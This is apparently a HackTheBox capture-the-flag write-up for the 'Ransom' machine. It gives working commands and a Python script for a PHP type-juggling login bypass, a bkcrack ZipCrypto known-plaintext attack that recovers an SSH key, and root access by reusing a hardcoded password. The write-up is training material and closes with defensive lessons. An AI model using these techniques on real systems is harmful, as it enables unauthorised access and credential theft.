HTB: Ransom Writeup
Ransom - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Ransom |
| OS | Linux |
| Difficulty | Medium |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.10.11.X |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐☆☆ (3/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐☆
- CVE: ⭐☆☆☆☆
- CTF-like: ⭐⭐⭐⭐☆
Summary
Ransom is a Medium-difficulty Linux box built around a custom Laravel-based file transfer app called “E Corp Secure File Transfer”. The login endpoint only accepted GET requests, which — combined with a PHP loose (==) comparison in the password check — allowed a classic type-juggling authentication bypass. Once authenticated, the app exposed a user.txt flag and a ZIP backup of a user’s home directory. That archive was protected with the legacy ZipCrypto cipher, which is vulnerable to a known-plaintext attack whenever an attacker can supply a byte-identical copy of any file inside the archive — in this case a stock .bash_logout. Recovering the ZipCrypto keys decrypted the archive and yielded an SSH private key, giving a foothold as htb. From there, the same hardcoded password used by the web login was found in the Laravel source and reused to su directly to root.
TL;DR: HTTP method confusion on /api/login → PHP type juggling (password: true) → authenticated file download (user.txt + home-directory ZIP) → ZipCrypto known-plaintext attack recovers archive keys → decrypted .ssh/id_rsa → SSH foothold as htb → hardcoded password in AuthController.php reused via su → root.
Reconnaissance
Port Scanning
nmap -sC -sV -T4 -p- TARGET_IPResults:
22/tcp open ssh OpenSSH 8.2p180/tcp open http Apache (Laravel) - "E Corp Secure File Transfer"Only two services exposed: SSH and a web app. With no valid credentials yet, port 80 was the only viable entry point.
Service Enumeration
The web app on port 80 is a Laravel-backed “Secure File Transfer” portal gated behind a login form. Watching the network traffic when submitting the login form showed the frontend JavaScript making an asynchronous request to /api/login rather than a normal form POST. Probing that endpoint directly showed it only accepts GET/HEAD — a POST is rejected outright by the route definition.
Vulnerability Assessment
/api/loginis registered as aGET-only route, but the password check logic behind it still expects to read apasswordvalue from the request — an unusual design that opens the door to method/parameter confusion.- The password comparison in the underlying
AuthControlleruses PHP’s loose==operator, making it vulnerable to type juggling when the input is a JSON boolean instead of a string. - The authenticated portal serves a home-directory backup archive encrypted with the legacy ZipCrypto stream cipher, which is broken by a known-plaintext attack when any archive member’s exact bytes can be reproduced by the attacker.
- The same plaintext password hardcoded in the Laravel controller for the web login was also valid as the local
rootaccount password on the box — a credential-reuse chain from application layer straight to OS layer.
Initial Foothold
Authentication Bypass — HTTP Method Confusion + PHP Type Juggling
Since /api/login only accepts GET, a normal POST {"password": "..."} gets rejected. Sending the request as GET with a JSON body and an explicit Content-Type: application/json header, however, is accepted and parsed. That opens up the password field to arbitrary JSON types — not just strings. Sending the JSON boolean true as the password causes PHP’s loose comparison ($request->get('password') == $realPassword) to evaluate to true regardless of what the real password string is, because a boolean true loosely equals any non-empty string in PHP.
The authenticated session only lives in-memory (cookie-backed), so the bypass and the follow-up requests had to be driven through a single persistent requests.Session():
import requests
BASE = "http://TARGET_IP"s = requests.Session()
# GET request carrying a JSON body — bypasses the POST-only expectation# and the {"password": true} triggers PHP's == type jugglingresp = s.get( f"{BASE}/api/login", headers={"Content-Type": "application/json"}, json={"password": True},)print(resp.text) # -> "Login Successful"With loggedin now set in the session, requesting the authenticated homepage in the same session listed the available files:
# Authenticated file listing / download, same sessionlisting = s.get(f"{BASE}/")files = s.get(f"{BASE}/user.txt")archive = s.get(f"{BASE}/uploaded-file-3422.zip")
open("user.txt", "wb").write(files.content)open("uploaded-file-3422.zip", "wb").write(archive.content)cat user.txt# <redacted>ZipCrypto Known-Plaintext Attack
uploaded-file-3422.zip turned out to be a backup of a Linux home directory, including an .ssh/ folder — but the archive was password-protected. Inspecting it showed it was encrypted with ZipCrypto (the original, legacy PKZip stream cipher), not modern AES. ZipCrypto is well known to be breakable via a known-plaintext attack: if an attacker can produce byte-identical content for any single file inside the archive, the encryption keystream can be derived from it (Biham–Kocher), and those keys unlock every other file in the archive — no password needed.
The archive contained a .bash_logout, a file that ships unmodified with every Debian/Ubuntu skeleton profile and is rarely touched by users. Checking its CRC32 against a stock copy confirmed a match:
# Archive listing showed:# .bash_logout CRC = 6CE3189B Method = ZipCrypto
# Compare against the jump box's own stock skeleton filepython3 -c "import binasciidata = open('/etc/skel/.bash_logout', 'rb').read()print('%08X' % (binascii.crc32(data) & 0xFFFFFFFF), len(data))"# 6CE3189B 220The CRC32 and exact byte length (220 bytes) matched the archive entry exactly, confirming the plaintext was identical. The jump host had no cmake or bkcrack installed, and /tmp was full, so the attack was staged from /dev/shm/ra using the prebuilt bkcrack 1.7.0 release binary:
mkdir -p /dev/shm/ra && cd /dev/shm/ra
# Build a small reference zip containing the known plaintext filecp /etc/skel/.bash_logout .zip unencrypted.zip .bash_logout
# Recover the ZipCrypto internal keys via known-plaintext attackbkcrack -C uploaded-file-3422.zip -c .bash_logout \ -P unencrypted.zip -p .bash_logout# Keys: 7b549874 ebc25ec5 7e465e18
# Use the recovered keys to write out a re-encrypted archive under a KNOWN passwordbkcrack -C uploaded-file-3422.zip -k 7b549874 ebc25ec5 7e465e18 \ -U decrypted.zip newpass
# Extract using the now-known passwordunzip -P newpass decrypted.zip -d home_backup/This recovered the full home directory backup, including .ssh/id_rsa for the box’s htb user.
SSH Foothold
chmod 600 home_backup/.ssh/id_rsassh -i home_backup/.ssh/id_rsa htb@TARGET_IP
htb@ransom:~$ iduid=1000(htb) gid=1000(htb) groups=1000(htb)Privilege Escalation
With a shell as htb, the Laravel application source was reachable on disk and was searched for the same “Invalid Password” string surfaced by the login logic:
htb@ransom:~$ grep -r "Invalid Password" /srv/prodapp/Http/Controllers/AuthController.php: return "Invalid Password";Reading the controller revealed the hardcoded plaintext password backing the type-juggling bypass earlier:
htb@ransom:~$ cat /srv/prod/app/Http/Controllers/AuthController.php# ...# if ($request->get('password') == "UHC-March-Global-PW!") {# session(['loggedin' => True]);# return "Login Successful";# }# return "Invalid Password";Application secrets hardcoded into source are a common place for password reuse to creep in across services on the same host. That exact string was reused as the local root password:
htb@ransom:~$ su -Password: UHC-March-Global-PW!
root@ransom:~# iduid=0(root) gid=0(root) groups=0(root)
root@ransom:~# cat /root/root.txt# <redacted>Attack Chain Summary
HTTP method confusion on /api/login (GET-only, JSON body) → PHP loose-comparison type juggling ({"password": true}) → Authenticated session → download user.txt + home-directory ZIP backup → ZipCrypto known-plaintext attack (.bash_logout CRC match) via bkcrack → Recovered keys → decrypted archive → .ssh/id_rsa for htb → SSH foothold as htb (uid 1000) → grep "Invalid Password" in /srv/prod → hardcoded password in AuthController.php → su - reusing hardcoded password → rootTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning and service fingerprinting |
python3 / requests | Crafting the GET-with-JSON-body auth bypass, maintaining an authenticated session, downloading files |
bkcrack (v1.7.0) | ZipCrypto known-plaintext attack — key recovery and archive decryption |
unzip / zip | Archive inspection and known-plaintext reference archive creation |
ssh | Foothold access using the recovered private key |
grep | Locating the hardcoded password string in the Laravel source |
su | Privilege escalation using the reused hardcoded credential |
Key Learnings
Techniques Practiced
- HTTP method confusion to reach handler logic not meant to be exposed on a given verb
- PHP loose-comparison (
==) type juggling with a JSON boolean to bypass a string password check - ZipCrypto known-plaintext attack using a stock, rarely-modified dotfile as the reference plaintext
- Reusing an application-layer hardcoded secret found via source-code grepping to pivot to OS-level root
Lessons Learned
- Route method restrictions (
GET-only, etc.) are not a security boundary on their own — the handler behind the route still needs to validate input type and format defensively. - Never compare secrets with PHP’s loose
==; always use===or a constant-time string comparison for credential checks. - Legacy ZipCrypto should never be used to protect sensitive archives (SSH keys, backups) — any archive member with predictable/stock content is enough to fully break it. Use AES-256 ZIP encryption instead.
- Hardcoded credentials in application source are a liability beyond the application itself — once found, always test them against every other authentication surface on the host (SSH,
su, database, etc.). - When local scratch space (
/tmp) is constrained mid-engagement,/dev/shmis a reliable fallback for staging tool builds and temporary archives.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- “Ransom” official HackTheBox writeup — Document No. D24.100.271, prepared by amra, machine authored by ippsec. Used only for explanatory background on the type-juggling authentication bypass and the ZipCrypto known-plaintext attack technique; all IPs, commands, outputs, and credentials in this writeup come from this author’s own solve.